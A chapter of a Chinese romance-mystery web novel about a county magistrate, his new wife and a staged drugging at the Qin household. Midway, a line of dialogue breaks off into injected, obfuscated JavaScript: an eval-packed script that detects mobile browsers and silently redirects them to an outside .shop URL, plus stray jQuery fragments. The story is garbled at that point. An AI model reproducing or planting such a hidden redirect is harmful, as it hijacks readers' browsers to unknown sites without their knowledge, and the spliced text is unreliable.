柳清刻意往人群后面躲了躲,偷偷瞧着沈之衡。
只见他先与衙役交谈了几句,随后便径直走向秦然。
秦然服过大夫的汤药,此刻已悠悠转醒,迷蒙的双眸瞧见面前站着的人是沈之衡,苍白的脸上顿时浮现一抹绯红,下意识伸手攥住了沈之衡的衣摆,低低唤了声:“沈大人……”
沈之衡感觉到衣摆被轻轻扯动,便俯下身,关切道:“秦姑娘,你可还记得是谁给你下的药?”
秦然贝齿轻咬红唇,眼眶中泪光闪烁,却只是无力地摇了摇头。
沈之衡见状,又问:“那最近可有得罪什么人?”
秦然依旧虚弱摇头,挣扎着撑起身子,竟是想要往沈之衡怀里倒去。
柳清将这一切看在眼里,不知为何,心中竟泛起一丝说不清道不明的别扭。
她索性别过头去,往人群最后面躲,眼不见为净。
沈之衡在秦然动作的当下站起身,不着痕迹往后退了半步。
秦然扑了个空,羞愤交加,却不敢表露半分,只得低下头去,掩饰自己发烫的脸颊。
众人瞧着她这般娇弱模样,只当她是身子不适,心中更加怜惜。
但沈之衡却似毫无察觉,眉头微蹙,转向一旁侍立的护院,“事发之时,你可曾留意到什么可疑之人?”
那护院闻言,面露难色,仔细回想了一番,才迟疑着答道:“回大人,小的当时只顾着将小姐抬至此处,并未太过注意周围情况。不过……”
他顿了顿,似是想起什么,接着说:“小的记得,就在小姐刚被抬上来的时候,人群中似有一位夫人神色慌张,匆匆忙忙地往人群里冲,甚是可疑,那不,就在那呢。”
护院说罢,抬手一指。
沈之衡顺着护院指的方向看去,注意到人群后面一抹熟悉的身影,抬脚便要走过去。
不料,秦然手里还抓着他的衣角,被他带的身子歪了一下,险些扑个狗吃屎。
沈之衡脚下一顿,面上闪过一丝不悦,转头叮嘱大夫道:“劳烦大夫先将秦姑娘安顿到厢房里去,好生照料。”
说罢,又低头看向秦然,“姑娘身体尚未痊愈,不宜在此久留,先回去休息。待在下查明真相,定会给你一个交代。”
秦然不愿就此离去,挣扎着爬起来:“我没事了,想跟着沈大人一起调查……”
秦府的管家适时站出来,先是恭敬地向沈之衡行了一礼,随后便不由分说地将秦然从沈之衡身边拉开,低声劝慰着:“小姐,您就别添乱了,大人自会处理好的。”
说罢,便半扶半拽地将秦然带离了人群。
柳清漫不经心地踢着石子,忽觉眼前一暗。
抬头,沈之衡已立于身前,神色莫辨。
她心头一颤,竟不敢与他目光相接。
“你为何在此?”沈之衡语气低沉。
“随便逛逛。”柳清含糊其辞。
“不是让你……”沈之衡语气微恼,却没再说下去,只一把拉起她的手,转身便走。
出了秦府,沈之衡一路阴沉着脸,柳清被他拽着走,也不敢吭声。
七拐八拐进了条僻静巷子,沈之衡才停下脚步,松开手。
柳清揉着手腕,那块被他捏过的地方已经泛起红痕,她没好气地开口:“沈大人这是要带我去哪?案子尚未查明,秦府里还有那么多宾客未散,怎的偏偏放我一人出来,于理不合吧?”
沈之衡斜睨她一眼,语气淡淡:“你如今已是我娘子,怎能和他人相提并论。”
娘子……好陌生的字眼。
柳清只觉从心底升起一股酥酥麻麻的痒感,迅速蔓延至四肢百骸,她不自在地低下头,“你、你就不怀疑是我下的药吗?”
沈之衡深深看了身前人一眼,开口:“我相信你,你和秦然无冤无仇,断不可能做出这种事。”
柳清却别过脸去,低声呢喃了一句:“那可未必……”
这声音轻如蚊呐,转瞬便消散在微凉的秋风里。
“你说什么?”沈之衡没听真切,不由自主地靠近了几分。
柳清掩饰似的轻咳一声,目光闪烁,“我是说,大人还是快些回去吧,秦府那边还需要您主持大局呢。”
“那里自有官差负责,眼下最要紧的是先送你回去。”说着,沈之衡将手放在柳清后背,推着人就往前走了。
秦府内。
秦然面色苍白地倚在床头,眉头紧锁。
丫鬟垂手立于床边,低声禀报道:“小姐,沈大人已经离开府上了。”
秦然闻言,不禁咬了咬下唇,心中懊悔不已。
早知如此,她就不该装得这般柔弱,应该假意说自己记起了那歹徒的样貌,也好将沈之衡留在府上才是。
都怪自己一时心急,错失了良机!
“小姐,这迷药……”丫鬟小心翼翼地捧着一只精致香囊,面露难色,“奴婢这就把它处理掉吧?”
“处理干净些,莫要被人发现了。”秦然揉了揉隐隐作痛的额角,心中暗忖,此事还得找个替罪羊才行……
此时的沈府。
沈之衡不知从哪找来几卷书册,吩咐柳清安心在府中研读,权当消磨时光。
柳清随意翻了翻,发现都是些辞藻华丽、无病呻吟的诗词歌赋,无趣极了。
“我不爱看这些,有没有话本子?”她问。
沈之衡:“什么样的话本子?我托人去寻。”
柳清拖着下巴想了想,突然想到什么,眉毛一扬:“《风流寡妇大战仨秀才》那样的。”
听到这名字,沈之衡脸色僵了僵,似乎想说些什么,却又咽了回去,最后只干巴巴地问了一句:“还有别的吗?”
见柳清摇头,便又嘱咐了几句,转身离开了。
柳清看不进那些酸腐诗文,干脆丢到一旁,蒙头睡了个午觉。
刚醒,小镜子便捧着两本话本子前来,说是老爷送来的。
她一时睡眼惺忪,尚未回过神来,迷迷糊糊问:“老爷?哪个老爷?”
小镜子掩嘴笑道:“哎呀,我的好主子,自然是咱们的县太爷呀
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572351|142958||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
!您如今可是县太爷夫人了,这称呼也该早些适应才是。”
经小镜子这么一提醒,柳清才猛然想起,自己与沈之衡成亲,竟已是昨日之事了。
一切都发生得太过突然,恍若梦境一般。
柳清心中生出几分不自在,随手翻开一本话本子,草草阅览几页,发现都是些说书先生常讲的题材。
什么武松打虎、大闹天宫之类的,却独独没有她心心念念的那本《风流寡妇大战仨秀才》。
她倒也没太在意,毕竟自己写的那话本子因为内容过于“精彩”,早已被官府封禁,没有哪家书斋敢顶风作案私下贩售,找不到也属实正常。
可柳清随意翻看着话本,心思却怎么也静不下来,总觉得秦府的事透着古怪。
思来想去,她还是放不下心,便唤来小镜子,吩咐道:“你悄悄去趟秦府,打听打听,看看那边情况如何了?”
小镜子前脚刚走,一圆脸妇人便端着托盘笑盈盈地进了屋,“夫人,这是老爷特意吩咐奴婢给您做的糕点,您尝尝?”
柳清瞥了一眼,托盘里是她最爱的桂花糕,便捻了一块放入口中。
入口香甜,软糯弹牙,和记忆里的味道不差一二。
“真是奇了,”柳清赞叹道,“竟与京城福满楼的手艺不相上下!”
她想起儿时在京城,最喜欢的就是福满楼的桂花糕。可惜,自从搬来这清河县,就再也没尝过这种味道了。
圆脸妇人听到夸奖,笑得更盛:“夫人若是喜欢,以后奴婢天天做给您吃!其实呀,奴婢以前就是在京城福满楼做糕点的,是老爷花了大价钱将奴婢买下的,老爷对夫人可真好!”
柳清心中一动,扬了扬唇,又吃一块。
那厨娘见柳清没有半分架子,心中欢喜,便打开了话匣子,只捡着好听的说:“老爷吩咐了,夫人金枝玉叶,每日的食材都要用最新鲜的,一点儿也马虎不得!”
没等柳清回应,她又道:“还有啊,老爷还特意从京城买了好些贵重的锦缎,全用来给夫人做新衣裳了,那可是京城贵女才能用得起的料子!”
柳清仔细看了看身上这件新衣服,触感是比以前的衣裳要轻柔华贵些,可要说多好,她倒没觉得。
非要说不一样的地方,那就是这新衣裳更不经折腾,早些时候,她不过心血来潮翻了个墙头,这衣裳就挂起丝了。
她从小爬树摸鱼滚泥坑,哪会在意这些绫罗绸缎,她更喜欢耐磨耐脏的粗布衣裳,行动起来也方便。
厨娘说到兴头上,停不下来:“对了,给您做衣裳剩下的那些边角料,老爷都吩咐人仔细收着,说是要给将来的小少爷、小小姐做衣裳呢!府里上下都说,咱们老爷啊,真是世间少有的好夫婿,夫人您可真是好福气!”
厨娘说得眉飞色舞,柳清脸上却不见喜色。
生孩子?沈之衡倒是想得美!
再来,要说好福气,也该是他沈之衡好福气才是!
柳清心里冷哼一声,放下手中糕点,望着院中景色,心里却想着别的事。